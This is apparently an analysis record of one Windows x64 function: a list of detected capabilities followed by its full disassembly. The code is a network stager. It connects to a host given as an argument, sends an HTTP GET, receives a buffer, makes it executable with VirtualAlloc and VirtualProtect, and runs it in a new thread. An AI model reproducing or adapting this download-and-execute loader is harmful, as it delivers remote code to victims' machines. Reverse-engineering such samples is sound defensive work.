Function at 0x401550
Capabilities:
Connect socket
Create thread
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
mov eax, 0x1448
call fcn.00403000
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x13e0], rcx
mov qword [rbp + 0x13e8], rdx
mov qword [rbp + 0x13f0], r8
mov dword [rbp + 0x13ac], 0
mov rcx, qword [rbp + 0x13e0]
call sym.strlen
add rax, 1
mov qword [rbp + 0x13a0], rax
mov qword [rbp + 0x1398], 0x64
mov qword [rbp + 0x1380], 0
mov rcx, qword [rbp + 0x13a0]
lea rdx, [rbp + 0x12b0]
lea rax, [rbp + 0x1380]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9, qword [rbp + 0x13e0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_mbstowcs_s]
call rax
mov qword [rbp + 0x13b8], 0xffffffffffffffff
mov qword [rbp + 0x1108], 0
mov qword [rbp + 0x13b0], 0
mov qword [rbp + 0xfc0], 0
lea rdx, [rbp + 0xfc8]
mov eax, 0
mov ecx, 0x1f
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xfc0]
lea rdx, str.GET__
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
mov rdx, qword [rbp + 0x13f0]
lea rax, [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1394], 0x1000
lea rax, [rbp + 0x1110]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0
jne 0x401a9b
lea rax, [rbp + 0x10d0]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10d4], 2
mov dword [rbp + 0x10d8], 1
mov dword [rbp + 0x10dc], 6
lea rcx, [rbp + 0x1108]
lea rdx, [rbp + 0x10d0]
mov rax, qword [rbp + 0x13e8]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x13e0]
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0
je 0x401736
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a9c
mov rax, qword [rbp + 0x1108]
mov qword [rbp + 0x13b0], rax
cmp qword [rbp + 0x13b0], 0
je 0x401811
mov rax, qword [rbp + 0x13b0]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x13b0]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x13b0]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x13b8], rax
cmp qword [rbp + 0x13b8], 0xffffffffffffffff
jne 0x40179d
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a9c
mov rax, qword [rbp + 0x13b0]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x13b0]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x13b8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0xffffffff
jne 0x401810
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov qword [rbp + 0x13b8], 0xffffffffffffffff
nop
mov rax, qword [rbp + 0x13b0]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x13b0], rax
jmp 0x401744
nop
mov rax, qword [rbp + 0x1108]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
cmp qword [rbp + 0x13b8], 0xffffffffffffffff
jne 0x401848
lea rcx, str.Unable_to_connect_to_server__n
call sym.printf_char_const__::_
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a9c
lea rax, [rbp + 0xfc0]
mov rcx, rax
call sym.strlen
mov edx, eax
lea rax, [rbp + 0xfc0]
mov rcx, qword [rbp + 0x13b8]
mov r9d, 0
mov r8d, edx
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0xffffffff
jne 0x4018ac
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a9c
mov rax, qword [rbp + 0x13b8]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_shutdown]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0xffffffff
jne 0x4018f4
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401a9c
mov edx, dword [rbp + 0x1394]
lea rax, [rbp - 0x40]
mov rcx, qword [rbp + 0x13b8]
mov r9d, 0
mov r8d, edx
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0
jle 0x40193f
mov eax, dword [rbp + 0x1390]
mov edx, eax
lea rcx, str.___Received__d_Bytes_n
call sym.printf_char_const__::_
jmp 0x40196d
cmp dword [rbp + 0x1390], 0
jne 0x401956
lea rcx, str.___Connection_closed_n
call sym.printf_char_const__::_
jmp 0x40196d
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call sym.printf_char_const__::_
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
test rax, rax
jne 0x4019b5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_Allocate_memory___u__n
call sym.printf_char_const__::_
jmp 0x401a9c
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x40]
mov r8d, 0x1000
mov rdx, rax
call sym.memmove
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x4c]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x401a12
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Fai1led_to_change_memory_protection___u__n
call sym.printf_char_const__::_
jmp 0x401a9c
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1388], rax
cmp qword [rbp + 0x1388], 0
jne 0x401a6d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_Create_the_thread___u__n
call sym.printf_char_const__::_
jmp 0x401a9c
mov rax, qword [rbp - 0x48]
mov rdx, rax
lea rcx, str._n_nalloc_mem_:__p_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x1388]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
nop
jmp 0x401a9c
nop
add rsp, 0x1448
pop rdi
pop rbp
ret